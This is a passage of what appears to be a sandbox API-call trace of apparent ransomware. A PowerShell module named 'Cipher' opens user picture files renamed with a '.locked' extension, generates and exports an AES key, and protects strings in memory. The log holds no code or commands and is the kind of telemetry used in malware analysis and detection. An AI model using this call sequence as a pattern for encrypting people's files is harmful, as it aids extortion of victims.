[7]=0x1))) returned 0x0 [0136.223] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.223] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.224] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.224] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.224] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.225] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.225] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.226] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.226] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.226] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.226] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.226] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.228] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.228] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.228] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.228] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.228] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.230] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0136.231] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\tw8f pgmzp1tqs q.png.locked"), fInfoLevelId=0x0, lpFileInformation=0x69e938c | out: lpFileInformation=0x69e938c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1469cf8c, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x1469cf8c, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x1469cf8c, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xfa04)) returned 1 [0136.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0136.232] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png.locked", lpFilePart=0x0) returned 0x68 [0136.232] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\f_0dPqd34U\\TW8F PgmZP1TQs q.png.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\f_0dpqd34u\\tw8f pgmzp1tqs q.png.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0136.232] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0136.232] CloseHandle (hObject=0x764) returned 1 [0136.233] GetConsoleOutputCP () returned 0x1b5 [0136.233] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.233] GetConsoleOutputCP () returned 0x1b5 [0136.234] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.234] GetConsoleOutputCP () returned 0x1b5 [0136.234] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.234] GetConsoleOutputCP () returned 0x1b5 [0136.234] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.234] GetConsoleOutputCP () returned 0x1b5 [0136.235] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.235] GetConsoleOutputCP () returned 0x1b5 [0136.235] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.235] GetConsoleOutputCP () returned 0x1b5 [0136.236] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.236] GetConsoleOutputCP () returned 0x1b5 [0136.236] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.236] GetConsoleOutputCP () returned 0x1b5 [0136.236] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.236] GetConsoleOutputCP () returned 0x1b5 [0136.237] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.237] GetConsoleOutputCP () returned 0x1b5 [0136.237] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.237] GetConsoleOutputCP () returned 0x1b5 [0136.238] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.238] GetConsoleOutputCP () returned 0x1b5 [0136.238] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0136.238] GetConsoleOutputCP () returned 0x1b5 [0136.238] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0136.238] GetConsoleOutputCP () returned 0x1b5 [0136.239] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.239] GetConsoleOutputCP () returned 0x1b5 [0136.239] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0136.239] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0136.240] GetConsoleOutputCP () returned 0x1b5 [0136.240] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0136.240] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0136.240] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a105c8*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6a105c8*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0136.241] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0136.241] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0136.247] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x46, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.247] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.247] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.247] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0136.247] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.247] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.247] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.248] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0136.248] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0136.248] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.248] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x47, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.248] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.249] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e02828) returned 1 [0136.250] CryptGenKey (in: hProv=0x8e02828, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84fb8) returned 1 [0136.250] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.250] CryptExportKey (in: hKey=0x8e84fb8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0136.250] CryptExportKey (in: hKey=0x8e84fb8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a19ee8, pdwDataLen=0x99ae894 | out: pbData=0x6a19ee8*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0136.250] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.250] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.250] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.250] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.250] SysStringLen (param_1="") returned 0x8 [0136.250] SysStringLen (param_1="L") returned 0x8 [0136.250] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.251] SysStringLen (param_1="\x18⽌㡺ﲛ뗪垸ၝᜐ") returned 0x8 [0136.251] SysStringLen (param_1="\x18⽌㡺ﲛ뗪垸ၝᜐ") returned 0x8 [0136.251] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.251] SysStringLen (param_1="L4") returned 0x8 [0136.251] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.251] SysStringLen (param_1="\x8d39\xbf5f\x434\x17c1\x2b11\xed02\xdb82\x9ccd") returned 0x8 [0136.251] SysStringLen (param_1="\x8d39\xbf5f\x434\x17c1\x2b11\xed02\xdb82\x9ccd") returned 0x8 [0136.251] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.251] SysStringLen (param_1="L4E") returned 0x8 [0136.251] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.251] SysStringLen (param_1="\xc09e\x2d72\x462b\x16e1\x2717\xeba6\x2c41\x7a5c") returned 0x8 [0136.251] SysStringLen (param_1="\xc09e\x2d72\x462b\x16e1\x2717\xeba6\x2c41\x7a5c") returned 0x8 [0136.251] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.251] SysStringLen (param_1="L4EF") returned 0x8 [0136.251] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.251] SysStringLen (param_1="\x1ed6\x10a4\x7e8b\x577\x506f\x5139\x62fb\x9ef6") returned 0x8 [0136.251] SysStringLen (param_1="\x1ed6\x10a4\x7e8b\x577\x506f\x5139\x62fb\x9ef6") returned 0x8 [0136.251] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.252] SysStringLen (param_1="L4EFA") returned 0x8 [0136.252] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.252] SysStringLen (param_1="\x61c8\xcea4\x15bc\x4a5e\xa7ff\x1802\xdc5a\xa9f6") returned 0x8 [0136.252] SysStringLen (param_1="\x61c8\xcea4\x15bc\x4a5e\xa7ff\x1802\xdc5a\xa9f6") returned 0x8 [0136.252] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.252] SysStringLen (param_1="L4EFAL") returned 0x8 [0136.252] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.252] SysStringLen (param_1="\xdc89\x46f5\xb3ee\x203e\x9438\xd1cf\x4efc\x63d3") returned 0x8 [0136.252] SysStringLen (param_1="\xdc89\x46f5\xb3ee\x203e\x9438\xd1cf\x4efc\x63d3") returned 0x8 [0136.252] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.252] SysStringLen (param_1="L4EFALR") returned 0x8 [0136.252] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.252] SysStringLen (param_1="\x31df\x8de5\x42e4\xa0cc\x7c0f\xbf03\x4353\x8616") returned 0x8 [0136.252] SysStringLen (param_1="\x31df\x8de5\x42e4\xa0cc\x7c0f\xbf03\x4353\x8616") returned 0x8 [0136.252] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.252] SysStringLen (param_1="L4EFALRI") returned 0x8 [0136.252] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.252] SysStringLen (param_1="㹕ᴙ窠딕믄곯") returned 0x8 [0136.253] SysStringLen (param_1="㹕ᴙ窠딕믄곯") returned 0x8 [0136.253] SysStringLen (param_1="㹕ᴙ窠딕믄곯") returned 0x8 [0136.253] SysStringLen (param_1="㹕ᴙ窠딕믄곯") returned 0x10 [0136.253] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.253] SysStringLen (param_1="L4EFALRIrᴳ酬빠ꆀ︿鰼") returned 0x10 [0136.253] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.253] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xbbcc\x944c\x1d92\xba43\xdb4f\x4044\x6b3a\xad0a") returned 0x10 [0136.253] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xbbcc\x944c\x1d92\xba43\xdb4f\x4044\x6b3a\xad0a") returned 0x10 [0136.253] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.253] SysStringLen (param_1="L4EFALRIrA酬빠ꆀ︿鰼") returned 0x10 [0136.253] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, 